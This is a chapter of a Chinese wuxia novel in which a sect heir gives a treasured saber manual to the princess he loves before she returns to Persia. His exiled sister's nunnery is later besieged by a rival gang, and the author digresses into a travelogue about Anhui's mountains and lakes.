露珠儿看着圣火崖的圣火教山寨,眼中的泪水如断线的珍珠一般滑落,一步一回头的向山下慢慢走去。此时的唐梦泽夫妻也回到自己的房中,长吁短叹,而沈云和唐兰儿却跑到唐旭儿的房间,只见唐旭儿在床上闷着头大睡,沈云和唐兰儿上去一把将唐旭儿的被子掀掉,唐兰儿大声道:“哥,露珠儿姐姐要走了,你不去送送她吗?”唐旭儿满脸愁容,一副生无可恋的模样,嘶哑着声音道:“送她?还不是徒增难过!就算再见到她,我又能说什么?我怕我看到她离去,我会控制不住自己,我会发疯。”说着说着,已经泣不成声,唐兰儿一听,戚然无语,沈云道:“师兄,你还是去送送师姐吧,你想想看,师姐回国是要和亚冈迪的女儿以命相搏,夺拜火教教主之位,你去送送她时,安慰她几句,让她放心,让她安心,这样她才能全力以赴,回国夺拜火教教主之位,你现在不去见她,你自己以后会后悔的,我和师妹刚才在寨门口看见师姐一步一回头,她心里也放不下你,她也是没办法,她要为波斯国王室族人和民众担负起责任,她身上的重担,比你我重千百倍。”唐旭儿一听,若有所思道:“是啊,露珠儿的身上肩负的责任太大,而她在圣火教才学了一年多武功,如今回国,只怕不是亚冈迪女儿的对手,我现在就要去找爹爹,让他将教中的斩魔刀谱给露珠儿带回去,以露珠儿的聪明,一两年必有小成,等到她决斗时,定然可以取胜。”沈云听了,不禁愣了一下,道:“师兄,这斩魔刀法是我圣火教镇教之宝,数百年来,只有教主可以练习。”唐旭儿道:“什么镇教之宝,在我眼中世上最厉害的武功,最珍贵的奇珍异宝,都比不上露珠儿的一根头发,我现在就去找爹爹。”说完,也不洗漱更衣,穿着内衣,胡子拉碴头发蓬乱,三步并作两步,直接跑到父母房间,唐梦泽和韩夫人此时正在房中长吁短叹,看着儿子进来竟然如此模样,又心疼又难过,唐旭儿噗通跪倒,道:“爹,娘,露珠儿的身上肩负的责任太大,而她在圣火教才学了一年多武功,如今回国,只怕不是亚冈迪女儿的对手,我求爹爹,将教中的斩魔刀谱给露珠儿带回去,以露珠儿的聪明,一两年必有小成,等到她决斗时,定然可以取胜。”说罢,对着唐梦泽连连磕头,唐梦泽闻言,连连摇头道:“胡闹,斩魔刀法和光明神功是我圣火教几百年镇教之宝,光明神功据说藏在十二天尊令中,但我研究了一年多,丝毫无获,如今斩魔刀是圣火教唯一的镇教之宝,历代只有教主可以修练,我怎么能把它送给露珠儿。”唐旭儿听父亲此言,只是连连叩首道:“爹,露珠儿才学了一年多武艺,她回国和人比武,十有八九都要丧命,如果她死了,我绝不独活。”唐梦泽又急又气,连连跺脚,大声呵斥道:“你这呆儿,怎么不想想父母养育你这么多年,我唐家就你这一个男丁,你张口闭口要死要活,你对得起我和你娘吗?你对得起我们唐家的列祖列宗吗?”唐旭儿哽咽着道:“爹,我求你把斩魔刀谱拿给我,我去送给露珠儿,以她的冰雪聪明,一两年必有小成,到时候比武之时,她定然可以保住性命,当拜火教教主,如果现在我们刀谱不给她,这一两年中,我会时刻牵挂,片刻都无法安宁,要是露珠儿失手被杀,我绝不独活,你和娘的养育之恩,儿子只有来生再报了。”唐梦泽被气的怒不可遏,手指直点唐旭儿,道:“你,你,你~~~”,气的说不出话来,韩夫人见状连忙上前,用手拍了拍唐梦泽后背,让他平静一下情绪,韩夫人转脸对唐旭儿道:“旭儿,你说的刀谱,我可以让你爹给你,但是有两个条件,你要答应。”唐旭儿道:“娘,您请说。”韩夫人道:“你把斩魔刀谱送给露珠儿,你要告诉露珠儿,最多五年,我们要派人去取回,这斩魔刀谱是圣火教历代教主,列祖列宗传下来的,决不能在我们手上丢失。”唐旭儿点点头,答应下来,韩夫人又道:“第二个条件,就是你在两年内必须娶妻完婚。”此言一出,唐旭儿不由一愣,脸上尽是踌躇犹豫之色,唐旭儿原来心中寻思:“既然和露珠儿有缘无份,露珠儿回波斯,当了拜火教教主,成了圣女,终生不会嫁人,自己就准备终生不娶,孤老终生,没想到,自己娘亲竟然提出了这个条件。”韩夫人道:“旭儿,我们就你这一个儿子,唐家几代单传,就你这一个男丁,俗话说得好,不孝有三,无后为大,既然露珠儿和你有缘无份,你不能置自己父母于不顾,置唐家列祖列宗于不顾,传宗接代,娶妻生子,本来就是你的责任,更何况,你现在还要把圣火教镇教之宝送给露珠儿,如果你不答应,爹娘绝对不能将斩魔刀谱让你拿去。”此时的唐梦泽在旁一听,瞬间恍然大悟,心想还是自己夫人心细考虑周详,也出声道:“旭儿,你娘说得对,我唐家几代单传,就你这一个男丁,传宗接代,娶妻生子本来就是你的责任,不孝有三,无后为大,你难道忍心让你爹妈看着你以后孤老终生,伤心一辈子吗?再说斩魔刀谱本是我圣火教镇教之宝,除了教主,连副教主和护教法王等人都不能练习,我凭什么要送给露珠儿?既然你娘说了,我也不驳她的面子,你若答应你娘的两个条件,我即刻就把斩魔刀谱给你,你若是不答应,爹娘也没办法勉强你,纵然露珠儿回去,比武输了,丢了教主之位和性命,我也不能把列祖列宗传下来的镇教之宝,胡乱送人。”唐旭儿听了心中已然明白:“如果自己不答应爹娘的两个条件,爹娘是绝不肯将斩魔刀谱拿出来让自己送给露珠儿,唐旭儿心想,若是露珠儿拿不到这斩魔刀谱,不但夺不了教主之位,可能还会丢了性命,若她丢了性命,我活着还有什么意义?爹娘就我这一个儿子,我又怎么忍心让他们伤心?”想到这,唐旭儿把心一横,咬咬牙道:“爹,娘,我答应你们,我会告诉露珠儿五年之后,我会派人去取回斩魔刀谱,两年之内,我会娶妻完婚。”唐梦泽夫妻,对视了一眼,心意相通,唐梦泽道:“旭儿,男子汉大丈夫,君子一言驷马难追,你既然答应,你就用我们唐家的列祖列宗和圣火教历代教主给我发个誓,绝不后悔。”唐旭儿咬咬牙,用唐家的列祖列宗和圣火教的列代教主发了一个毒誓,韩夫人冲着唐梦泽点点头,意思说行了,不要把孩子逼得太紧,唐梦泽转身从内室的密室中取了一个古色古香的木匣,来到唐旭儿面前,道:“旭儿,这是斩魔刀谱,你拿去送给露珠儿。”唐旭儿接过来打开一看,果然木匣里所放的就是圣火教镇教之宝斩魔刀谱,唐旭儿对着父母磕了三个头,站起身,拿了木匣,然后转身离去,唐梦泽叫来沈云和唐兰儿,让他们带着几个随从护送,一行人快马加鞭,向露珠儿离去的方向追去,再说露珠儿一路上思绪万千,心中总有浓烈的牵挂不舍之情,就这样三五步一回头,也没走多远,唐旭儿等人追了半个时辰左右,已经看到露珠儿她们的背影,唐旭儿大声喊道:“露珠儿,你等等我,我来了。”旁边的沈云和唐兰儿也大声喊道:“师姐,你等等我们,你等等我们。”王弟沙普尔和塔西蒙王子听到喊话声,不知道怎么回事,正在惊疑中,露珠儿已经勒转马头,快马加鞭向唐旭儿一行人奔去,沙普尔和塔西蒙面面相觑,惊得目瞪口呆,也连忙驱马追赶露珠儿,功夫不大,众人已经相逢,露珠儿看着头发蓬乱胡子拉碴,面容憔悴身穿内衣,两天时间,却如同老了十几岁的唐旭儿,情难自控心如刀绞,唐旭儿也看着露珠儿,二人眼中尽是依依不舍之情,纵然心中有千言万语,但是又觉得无从说起,只有感觉痛彻心扉的疼,苦若黄连的涩,二人对视许久,露珠儿眼中流泪,却强颜欢笑道:“师兄,谢谢你来送我。”唐旭儿苦笑一声道:“师妹,我来送你,不是应该的吗?”说着说着,嗓子已经哽咽,露珠儿的脸庞上也是洒满了泪水,却故作轻松道:“师兄,等几年你去波斯看我,到时候你有了孩子,可要说话算数,让他们认我为干娘啊。”唐旭儿眼睛流着泪,却也故作笑声道:“好啊,师妹,不管是儿子还是女儿,我都让他们认你做干娘,只不过,你可千万不能让干女儿当什么拜火教教主啊,以后女儿大了,还要找一个如意郎君呢。”说着说着,已经泣不成声,露珠儿泪如雨下,哽咽道:“好,等以后女儿大了,找到如意郎君,到时候你们一大家子都去波斯看我,那就热闹了。”唐旭儿泪流满面,哽咽道:“好,到时候,我们都去看你。”这时候王叔沙普尔在一旁,清了清嗓子道:“少教主,送君千里终须一别,我们就此别过,请珍重。”唐旭儿强忍心中悲痛,点点头,从怀里掏出木匣,对露珠儿道:“露珠儿,你来中土才学了一年多武功,我担心你回去后,争夺教主时,不是亚冈迪女儿的对手,所以,我请爹爹将这本斩魔刀谱赠送于你,以你的冰雪聪明,一两年必有小成,这斩魔刀法,是我圣火教镇教之宝,历来只有教主一人可以练习,此刀法千变万化,神鬼莫测,威力极大,你回去后用心练习,定能获胜,夺得教主之位。”露珠儿抽抽噎噎道:“师兄,既然是你们圣火教镇教之宝,我又怎能拿去练习?你还是带回去给师傅吧。”唐旭儿凄然道:“世上再厉害的武功,再珍贵的珠宝,在我眼中,都比不上你的一根头发,我和爹娘已经说好了,他们同意我把这本刀谱给你。”露珠儿张口还想推辞,唐旭儿凄然一笑,脸上故作轻松道:“不过咱们丑话说前头,这刀谱我只是借给你五年,五年之后,你可要还我哦,到时候我带沈云和兰儿一起去你们波斯,一是取回刀谱,二是去波斯欣赏风光,到时候,你不但要当导游,还要管我们吃喝住,我们要狠狠花你一大笔银子,让你大大心疼难过。”露珠儿听了此言,情不自禁的噗嗤一笑,唐旭儿看着露珠儿的笑脸,情难自控的有点痴了,旁边的沈云道:“师姐,你就别客气了,你要是不把这刀谱带走,到时候师兄日夜都要挂念,片刻都不得安宁。”唐兰儿也道:“师姐,你把这刀谱带着吧,要不然,哥哥会担心你的安危,难道你想让哥哥总是担心你吗?”露珠儿思索片刻道:“师兄,那就恭敬不如从命,大恩大德只有来生再报。”说罢,翻身下马,跪倒在唐旭儿马前,恭恭敬敬的磕了三个头,唐旭儿连忙跃下马匹,伸手将露珠儿扶起,口中道:“露珠儿,你这是干什么?你我之间,需要这么客气吗?需要说这些感恩戴德的话吗?我只希望你永远平平安安,幸福快乐!”此言一出,露珠儿的泪水,又如同泉水一般涌出眼眶,唐旭儿此时心如刀绞,却故作轻松,用手为露珠儿擦拭眼泪,道:“师妹,你不要总是哭鼻子,你哭鼻子,就不好看了,你以后要经常笑,你笑的模样最美。”说到此处,嗓音已经哽咽嘶哑,这时塔西蒙王子和王弟沙普尔在一旁,两人交换一下眼色,心想千万别夜长梦多,塔西蒙王子道:“妹妹,爹娘还在波斯国等你,娘知道你要回去,天天都盼着你呢。”露珠儿也听出哥哥的旁敲侧 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击之语的意思,也就咬咬牙狠狠心,对唐旭儿道:“师兄,送君千里终须一别,五年之后,你来波斯都城看我。”说罢,伸手接过木匣揣入怀中,翻身上马,长鞭挥起,马匹吃疼,四蹄狂奔而去,王弟沙普尔和王子塔西蒙也急忙向唐旭儿等人拱下手,然后快马加鞭,去追露珠儿。唐旭儿大声喊道:“露珠儿,一路平安,一路平安。”喊着喊着,嗓子已经带了哭音,露珠儿策马狂奔,耳边传来唐旭儿哽咽的大喊声:“露珠儿,一路平安,一路平安。”此时的露珠儿,一手策马,一手捂着嘴,拼命控制心中波涛汹涌的情感,咬紧牙关,不让自己哭出声,但眼中的泪水如同泉水一般涌出,洒满了衣襟。唐旭儿呆呆站立,看着露珠儿的背影,慢慢消失,才垂头丧气,失魂落魄般的和沈云,唐兰儿回到圣火教。此后的日子里,唐旭儿天天借酒浇愁,但俗话说得好,借酒浇愁愁更愁,抽刀断水水更流,整日陷入相思悲苦之中,无法自拔,唐梦泽夫妻,眼见儿子如此颓废,心中是又急又气又心疼,于是夫妻二人商议,派人去炎黄岛送信,让大女儿回来,劝说儿子,此时的唐玉儿和张志远已经有了两个孩子,大儿子年满七岁,名叫张皓光,小儿子张晓光,年方五岁,唐玉儿和老公张志远商量后,带着两个儿子,一家四口,又带了十几名护卫,回到了圣火崖,亲人相见,分外亲热,再加上张皓光和张晓光这小兄弟俩,正是活泼好动的年龄,家里顿时热闹许多,唐旭儿虽然心情苦闷,但却很喜欢两个外甥,经常带两个外甥下山去吃喝游玩,眼见两个外甥,活泼可爱,尤其是小外甥张晓光,更是精灵古怪,唐旭儿的心情也开朗了许多,唐玉儿见弟弟心情有所转变,就找了个机会,和老公张志远劝说唐旭儿,唐玉儿道:“弟弟,我知道你和露珠儿妹妹情真意切,但露珠儿身负国家社稷重任,只能和你有缘无份,露珠儿可称得上是忠孝仁义,唐旭儿闻言,有些不解,用迷惑的眼神看着姐姐,唐玉儿道:“露珠儿对王室是忠,对父母是孝,对黎民百姓,士兵,部卒是有仁有义,她虽然牺牲了自己的感情,但对波斯王国来说,公主牺牲个人之情,救国家和民众于水火,这样的公主,才是忠孝仁义的典范,你想一想,若是露珠儿只顾自己私情,不顾国家,父母和民众的安危,这样的露珠儿还值得你去爱吗?”唐旭儿听了姐姐的话,沉思了良久,道:“姐姐,你说得对,露珠儿肩负的责任,太过重大,她确实不能因为我,而不顾波斯王国的安危,我理解她,钦佩她。”唐玉儿道:“弟弟,你是男子汉大丈夫,以后也是我们圣火教的教主,是十几万教众心中的大英雄,既然你已经答应了爹娘,两年之内娶妻成亲,君子一言驷马难追,我相信我的弟弟不但是君子,还会是一个大英雄,古语有云:“不孝有三,无后为大,我唐家数代单传,到了我们这代,也就你这一个男丁,难道你希望爹娘到老时,都看着你孤身一人,你看看我们的爹娘,这几日看着我的两个孩子,那个疼爱,那个亲昵,难道你不想看到,爹娘以后带着你的儿子女儿享受天伦之乐吗?我希望你遵守自己的诺言,在两年内娶妻成亲。”唐旭儿闻言,沉默许久,缓缓开口道:“大姐,你说得都是金玉良言,我愿意听从爹娘的安排,两年内娶妻成亲。”唐玉儿,张志远闻言大喜,连忙去找唐梦泽夫妻,将唐旭儿的话告诉了爹娘,唐梦泽夫妻也是欣喜若狂,赶紧找亲朋好友为唐旭儿介绍合适的女子,为唐旭儿寻找合适的结婚伴侣,半个月后,西安将军徐世兴来访,告知唐梦泽夫妻,西安有一大儒名叫龚孝严,家中有两个女儿,大女儿龚雅慧,前几年嫁给了兵部侍郎于谦的长子于冕,家中次女名叫龚雅莲,不但容貌秀丽,蕙质兰心,而且温婉贤淑,端庄大方,更难得的是,琴棋书画,样样精通,是西安城有名的美貌才女。”唐梦泽夫妻闻言大喜,忙让人叫唐旭儿过来,将龚家二女儿龚雅莲的相貌,品德,才学一一告知,唐旭儿闻言,只是沉默不语,徐世兴道:“表侄,我是你的表叔,我还能害你不成?这龚家二女儿不但貌美如花,而且才华横溢,更难得的是龚孝严是当世大儒,对女儿要求极严,前几年,他的大女儿龚雅慧嫁给了兵部侍郎于谦于大人的长子,这二女儿龚雅莲,在西安城无人不知无人不晓,无数王公贵族的儿子都来提亲,龚雅莲眼光极高,说非当世豪杰不嫁,表侄是未来的圣火教教主,圣火教曾蒙太祖赐字忠孝仁义,又蒙太皇太后亲笔赐字:日月之下,圣火连绵,不但是太皇太后娘家唯一血亲,也是当今徐皇后的堂侄孙,也是正儿八经的皇亲国戚,以表侄的相貌,才学,武艺,足以配得上龚家二小姐,如果你们一家人没有意见,我就上门向龚孝严为侄儿提亲。”唐旭儿本来想出口拒绝,但抬头一看,爹娘一副满是期待的神情,忍不住心中一软,又想起徐世兴的救命之恩,和徐世兴的古道热肠,思索良久道:“全凭爹爹娘亲做主,有劳表叔了。”唐梦泽夫妻见唐旭儿松口,心中大喜,于是就请徐世兴做媒,去龚家提亲。龚孝严饱读诗书,才高八斗,学富五车,不但在西安城,就算在整个大明天下,也是声名显赫的当世大儒,见到徐世兴来访,忙请徐世兴大厅落座,家奴奉上茶水后,徐世兴将来意一说,自然是将唐旭儿夸成世间难寻的青年才俊,龚孝严在西安城长大,自然也知道圣火教的底细,知道老教主唐思源为人忠义,侠名远播,唐思源之子唐正阳不但是当朝太皇太后马娘娘唯一嫡亲娘家侄子,侠义之名更胜过其父唐思源,当年唐正阳义释张仁凤之子及灵隐三杰,西湖会数百会众,义善堂数百孤儿,并不惜违抗军令,厚葬张仁凤,仁义侠名远播,解甲归田后,在西北诸省建立皇后娘娘慈善堂,接济孤寡,扶助老弱,西北诸省民众齐声称颂,后来因为太皇太后马娘娘驾崩及太子爷朱标之死,伤心过度,吐血伤身,太祖朱元璋亲自赐字:忠义仁孝,虽然唐正阳英年早逝,但是忠义仁孝之名,天下皆知,可称得上是元明以来,武林江湖中第一大侠,所以他对唐正阳也是推崇备至神交以久,见徐世兴来提亲,是为了唐正阳的孙子,不禁内心喜悦,一口就应承下来。于是徐世兴又两头说和,唐家重金下了聘礼,商定于第二年正月十六,安排唐旭儿和龚雅莲大婚,唐梦泽夫妻就这一个儿子,自然想把儿子的婚事操办的热热闹闹,风风光光,于是,就广发请帖,邀请亲朋好友,于第二年正月十六,来参加儿子婚礼。时光飞逝,日月如梭,转眼间已经到了第二年的正月十二,圣火崖寨门前来了一位三十岁左右,头戴道巾,眉清目秀,端庄大方的道姑,这道姑来到寨门前对守门的教众道:“这位大哥,我受人所托,来送唐旭儿少教主的新婚贺礼,请代为通报。”说罢,从怀中掏出一个金色珠花,守门教众见这金色珠花,做工异常精致,一看就不是凡品,于是接过珠花,道:“你在此稍等,我去禀报教主。”唐梦泽夫妻和唐旭儿正在安排婚礼事宜,守门的教众进来,将手上的金色珠花呈上,道:“启禀教主,门外有一道姑,拿这珠花,说受人所托,来送少教主的新婚贺礼。”唐梦泽接过珠花一看,不由得心头巨震,伸手将珠花递给韩夫人道:“夫人,你看这个珠花。”韩夫人接过一看,脸色大变,对唐梦泽道:“夫君,这是当年赛儿出嫁时,我们亲自找能工巧匠为赛儿打造的嫁妆。”唐梦泽点点头,吩咐守门的教众道:“快快有请。”教众转身去了寨门,将道姑请进大厅,落座上茶后,唐梦泽道:“这位仙姑,请问法名为何?”道姑看了看左右道:“唐教主可否将左右屏退,再容我禀报。”唐梦泽一挥手,身后随从都退了出去,大厅之中只有唐梦泽夫妻唐旭儿和道姑四人,道姑伸手解下头巾,只见头上光溜溜的没有一根头发,唐梦泽夫妻一看,不由得感到奇怪,道姑道:“唐教主,教主夫人,贫尼法号慧净,我家主持师傅法名白莲,俗家名叫做唐赛儿。”此言一出,唐梦泽夫妻连声问道:“我女儿唐赛儿现在何处?”唐旭儿也急忙问道:“我姐姐现在何处?”慧净道:“我师傅在九华山净月庵住持,听说少教主大婚在即,所以命我送来银票两千两,和三本手抄佛经,略表心意。”说罢,从身旁的行囊中,将银票和佛经取出,恭恭敬敬的递给了韩夫人,韩夫人接过一看,只见那佛经用小楷写得隽秀端庄,工工整整,正是女儿唐赛儿的笔迹,韩夫人热泪盈眶,对唐梦泽道:“夫君,你看,这正是我们赛儿的笔迹。”唐梦泽接过佛经,认真一看,果然是自己女儿的笔迹,唐梦泽道:“慧净师太,我女儿这几年过得可好?”慧净道:“这几年朝廷一直都在搜寻我家主持的踪迹,幸好我们小心谨慎才躲过了抓捕,我们深居简出,不敢暴露行踪,只是最近听说少教主大婚,我家主持心中牵挂,但又不能亲身前来,所以,才让贫尼来代送贺礼。”唐梦泽道:“既然如此,请师太多住几日,参加完小儿婚礼再回去不迟。”慧净摇摇头道:“多谢教主和夫人,少教主结婚之日肯定会有朝廷的官员参加,我若在此,有诸多不便,贫尼就不打扰了,就此告辞。”唐梦泽夫妻,也知道慧净是担心人多眼杂,暴露了行踪,所以贺礼送达后,就想快速离去。韩夫人道:“师太,请稍留片刻,我去内室取个锦囊,麻烦你带给小女。”说罢,韩夫人起身,去了内室,功夫不大,手里拿了个锦囊,来到慧净面前,递给慧净,道:“师太,有劳了。”慧净接过锦囊揣入怀中。”起身向唐梦泽夫妻和唐旭儿行个礼,转身离去。”唐梦泽夫妻和唐旭儿,看着慧净师太的背影,心中感慨万千,思女爱女,思姐爱姐之情,充满心间。慧净下了山后,一路上,昼行夜宿,小心谨慎,但是她万万没想到,从她上山的那一刻起,包括下山的行踪都已经被青龙会派的眼线看得一清二楚,原来当年公孙世家,在龙城截获高丽商人的翡翠西瓜后,立刻飞鸽传书命青龙会追查唐赛儿的踪迹,试图找出乾陵藏宝图,后来唐赛儿兵败,不知所踪,公孙世家知道林家孤女林萱去了圣火崖,于是,就命青龙会派了几十名手下在圣火崖下开驿站酒馆,又命人扮成农民,樵夫,猎户,日夜监守来往圣火崖的人,慧净师太虽然扮成道姑,但一举一动都落在青龙会的耳目中,慧净师太在路上走了一个多月,回到了九华山净月庵,九华山位于安徽省池州市青阳县境内,地处皖南,皖南之地名山大川众多,其中三山五绝更是名扬四海誉满九州,闻名遐迩中外驰名,三山指的是:黄山,九华山,天柱山,五绝更是有词为证:黄山的松,太平湖的水,九华九峰绝世美,天柱山的奇石传四海,牯牛降的美景扬九州。这五绝之中,更是以黄山的松,太平湖的水,最让人心旷神怡流连忘返, 黄山,位于安徽省黄山市,原名黟山,乃华夏先祖炎黄二帝中,黄帝修身之地,唐朝时唐明皇亲自到当时的黟山朝拜黄帝,并下旨将黟山更名为黄山,取自“黄帝之山”之意。黄山以奇松、怪石、云海、温泉、名扬天下享誉海外,拥有“天下第一奇山”的美誉。明代著名旅游家徐霞客两度游览黄山,并留下绝世名句:“五岳归来不看山,黄山归来不看岳。”自古以来,无数诗人文豪留下了许多赞美黄山的诗词。太平湖是位于安徽黄山市黄山区的人工湖,南依黄山,北邻九华,水域面积88。6平方公里,132900亩的水面宛如一块巨大的通灵翡翠,是库容24。3亿立方米,最大水深达70米,湖岸群山环绕,中国十大名茶中的太平猴魁和黄山毛峰都产自太平湖岸边,有“黄山瑰宝”“皖南翡翠”之美誉,太平湖水由黄山、九华山的天然山泉水汇集而成,属于国家一级水体,清澈透底,可以直接饮用。 笔者作为安徽人,曾经两次游黄山及太平湖,身临其境,情不自禁被太平湖之绝世美景震撼,感叹人生必定要游一次太平湖,人生方能无憾,并作歌词一首: 赞最美之太平湖: 我淋过早春丝滑的雨,我吹过仲夏清爽的风,我摘过深秋金色的果,我堆过晚冬洁白的雪,我登上高山苍劲的背,我踏过草原如毯的青,我观过瀑布匹练的水,我潜过深海如渊的沟,曾不远万里登过三山五岳,曾披星赶月游过五湖四海, 我也亲过初春翠绿的萌芽,我也嗅过盛夏芬芬的花朵,我也赏过金秋火红的枫叶,我也放过冬末璀璨的烟火,我穿过蜿蜒崎岖的山谷,我钻过鬼斧神工的深洞,我游过波涛汹涌的暗河,也见过大气磅礴的地宫,曾豪情万丈攀过最高山峰,曾壮志凌云携伞遨游天空, 曾视苍松高入云,也见碧水飞银链,乐观瀑布千匹绢,笑看飞石似连天,见过百样名胜,赏过千般美景,问世间何为最美?是那太平湖的湛蓝之水,七彩长虹牵着万朵白云,碧波荡漾宛若晶玉翡翠,游尽千山万水,阅过万般风情,归来依然是少年,你是我心中的最美的如画风景,你是我梦中最爱的清灵飘逸,宛如太平湖的湛蓝水,恰似七彩虹牵着白云意,翡翠碧水连天际,彩虹白云伴君归,问世间,情为何物,直教人生死相许,爱到痴情至深处,唯觉无声胜有声。 九华山北俯长江,南望黄山,东临太平湖,西接池阳(即贵池),为地藏菩萨道场,与五台山,普陀山,峨眉山并称为中国佛教著名四大名山,九华山名称源于李白"妙有分二气,灵山开九华"的诗句。其境内有九十九峰,千姿百态,各具神韵,属黄山山脉支脉。和黄山并称为皖南双绝,以奇峰怪石,云海温泉名扬天下,山间景色迷人,四季风景各异,风景优美如诗如画,如同一副名家绘制的山水画卷,山中还有众多的佛教寺庙,建筑风格独特,庄严肃穆,常年香火鼎盛,唐朝时期,新罗国(今韩国)王子金乔觉(公元696-公元794)远渡重洋来到九华山修行,在此修行七十五载,九十九岁圆寂,因其生前逝后各种瑞相酷似佛经中记载的地藏王菩萨,僧众尊他为地藏王菩萨应世,九华山遂辟为地藏菩萨道场,再加上寺庙中供奉十几座肉身菩萨,所以四海之内的香客都络绎不绝前往九华山拜佛烧香朝拜祈福,王子金乔觉更是被佛教界尊为:“金地藏”,金地藏作为新罗王子与地藏菩萨化身的双重身份,这使得九华山成为韩国佛教徒心中的重要朝拜圣地,许多韩国人不远万里前来参拜这位兼具新罗王子与菩萨双重身份的先贤。笔者曾经亲往九华山礼佛观景,并写下诗篇: 九华九子赞: “人生不到九华峰,纵为信徒也成空,平安发财求子路,九华九子现神通。” 慧净师太回到净月庵后,向唐赛儿也就是现在净月庵的主持白莲师太如实汇报了行程,并将韩夫人赠送的锦囊呈送给白莲师太,白莲师太接过锦囊打开一看,里面有两张三万两的银票,和一封书信,信上写道:“爱女赛儿,自你出嫁后,爹娘日夜牵挂,后得知你家中发生巨变,你愤而起兵,杀贪官,分钱粮于穷苦百姓,爹娘得知后,既欣慰又担心,后派人去接应你,你因害怕连累父母兄弟,执意不肯回圣火崖,你小姑子林萱已被你父收为义女,改名唐兰儿,爹娘将她视若己出,尽心抚养,如今已长大成人,一身武功,在同辈人之中,已为翘楚,爹娘日夜牵挂于你,只盼你在适当时机,回圣火崖和我们相见。”唐赛儿看罢书信,眼中泪水已然洒满脸庞,她缓缓的打亮火折,将书信烧毁,又将银票收好,对慧净道:“你辛苦了,先回去休息吧。”慧净领命回禅房休息,唐赛儿思绪万千,脑海中浮现爹娘的神情相貌,心情久久不能平复。大约过了十日左右,此时正当深夜,白莲师太正在禅房中带领众弟子诵读佛经,忽听见庵外的树林中,不断有夜鸟飞起,白莲师太心生警觉,忙命众徒儿停止诵经,凝神聚气,侧耳听去,只听得净月庵庵前庵后,有大批夜行人前来,白莲师太连忙命令众弟子,放下佛经,拿好兵刃准备迎敌,正在此时,忽听庵外有一男子大声喊道:“青龙会会主宇文山率座下四魔四煞前来,拜访林夫人。”白莲师太一听,心中大惊,青龙会称雄齐鲁,最近这几十年更是以茶馆酒楼为依托,开办青楼妓院赌场当铺,据说还暗中走私盐铁,财力雄厚,网罗了一大批□□高手,为齐鲁大地第一大帮会,正在唐赛儿犹豫之际,庵外又传来声音:“青龙会会主宇文山率座下四魔四煞前来拜访林夫人,若林夫人不肯相见,就休怪我等无礼了!”白莲师太把心一横,命令众弟子,拿好兵刃,然后打开庵门,到门口一看,只见一名五十岁左右中年男子,白净脸堂,五缕长髯,气势不凡,身后左右站着八名彪形大汉,八名彪形大汉身后,大约有上百黑衣人,已经将净月庵围得水泄不通,唐赛儿道:“不知宇文会主来此有何贵干?”宇文山呵呵一笑道:“林夫人,我是叫你林夫人还是叫你唐姑娘?还是叫你白莲师太?”白莲师太冷冷道:“悉听尊便。”宇文山道:“那我就明人不说暗话,今天来此是求林夫人赐一样宝物。”白莲师太道:“我乃一出家之人,穷困潦倒,哪有什么宝物?”宇文山道:“林夫人说笑了,你林家变卖的翡翠西瓜就是天下至宝。”白莲师太心中一惊,默然不语,宇文山道:“林夫人,听说这翡翠西瓜原本陪葬在乾陵之中,既然你林家有本领将翡翠西瓜从乾陵中取出,那么我青龙会就斗胆向林夫人索要乾陵藏宝图。”白莲师太道:“宇文会主说笑了,我林家哪有什么翡翠西瓜可以变卖,至于乾陵藏宝图,我更是一无所知。”宇文山冷冷笑道:“既然林夫人不肯坦诚相告,我就休怪我青龙会无礼了。”说罢,一挥手,身后的八名彪形大汉和上百名黑衣人都拔出兵刃,准备厮杀,白莲师太头脑急转,道:“宇文会主,请你稍候片刻,我回庵中和众弟子商量一下再给你回复,你意下如何?”宇文山道:“好,那我就给林夫人一炷香的功夫,一炷香时间一到,若是林夫人不肯交出藏宝图,那我青龙会就算掘地三尺,也要在这净月庵中找出藏宝图。”白莲师太道:“好,宇文会主,你就等我一炷香功夫,我稍后给你回复。”说罢,领着众弟子,将庵门关闭,回到庵中,慧净扑通跪倒,口中道:“师傅,都怪弟子不小心,疏忽大意,竟然让青龙会找到了我们的踪迹,请师傅降罪。”白莲师太伸手将慧净拉起,道:“青龙会势力庞大,耳目众多,此事不能怪你,要怪就怪师傅不应该派你去圣火崖送我弟弟的新婚贺礼,多说无益,我们先商量对策。”众人来到佛堂中,交头接耳,小声商量起来,一会儿功夫,只听见外面宇文山大吼道:“林夫人,已经过了半柱香了,你抓紧时间给我回复。”白莲师太把心一横,吩咐了几句,众人纷纷从佛堂中拿出香烛,又用火油泼洒在门窗之上,白莲师太道:“点火。”众人一起动手,火势借助火油威力,片刻功夫已经燃起熊熊大火,宇文山在外看见庵中起火,心中暗道不好,大声吩咐到:“四魔四煞随我去庵中抓人,剩下的人一半救火,一半警戒,防止有人趁乱逃脱。”正在此时,忽然庵门打开,白莲师太率领众弟子,手持兵器杀了出来,宇文山一挥手,带领四魔四煞上前迎敌,身后的上百黑衣人分作两半,一半在找水灭火,一半在四周警戒,正在双方鏖战之时,忽然间一道灰色身影从庵中跃起,片刻间已经翻过院墙,到了庵外,庵外警戒的青龙会会众看到,一边大声喊叫:“有人出来了,快抓住她。”一边上前准备擒拿,那道灰色身影快步如风,身形快似闪电,如同游鱼一般从一众青龙会会众身边溜出,青龙会此次来的九大高手,宇文山和四魔四煞正在和白莲师太和白莲师太的几个弟子厮杀,包围净月庵的那些青龙会会众,倒也没什么高手,只见那道灰色身影,发足狂奔,身后几十名青龙会会众,紧紧追赶,转眼之间,已经到了净月庵旁边的悬崖边上,那灰色身影毫不犹豫径直跳了下去,几十名青龙会会众,看的目瞪口呆,大声叫到:“有人跳崖了,有人跳崖了。”这些青龙会会众地形不熟,不知道悬崖下面是什么情况,只好分派人手,顺着山崖慢慢的向下搜寻。此时交战双方都已经听到了青龙会会众的大呼小叫,白莲师太知道安排的慧净已经逃跑成功,于是大声喊道:“宁可身死,也不能受辱,青龙会,你们就等着圣火教找你们报仇吧!”说罢,横剑自刎,几名女弟子见师傅已经自刎身死,也一个个追随师傅,自杀身亡,宇文山暴跳如雷,一边命人速去山脚搜捕那逃跑的尼姑,一边命人救火,试图在庵中找出乾陵藏宝图,净月庵本来就是木制,加上火油助力,此时庵内的香烛都已经开始燃烧,火势凶猛,根本就救不下来,功夫不大,净月庵已经被熊熊大火包围,宇文山无奈,只好带人下山,派人四面搜捕逃走的尼姑,慧净在净月庵生活数年,对周边地形非常熟悉,所以白莲师太等人出门迎敌,安排慧净趁乱逃出,慧净从悬崖边上径直跳下,落入悬崖下面溪水之中,在溪水中随着溪水漂流,很快到了山脚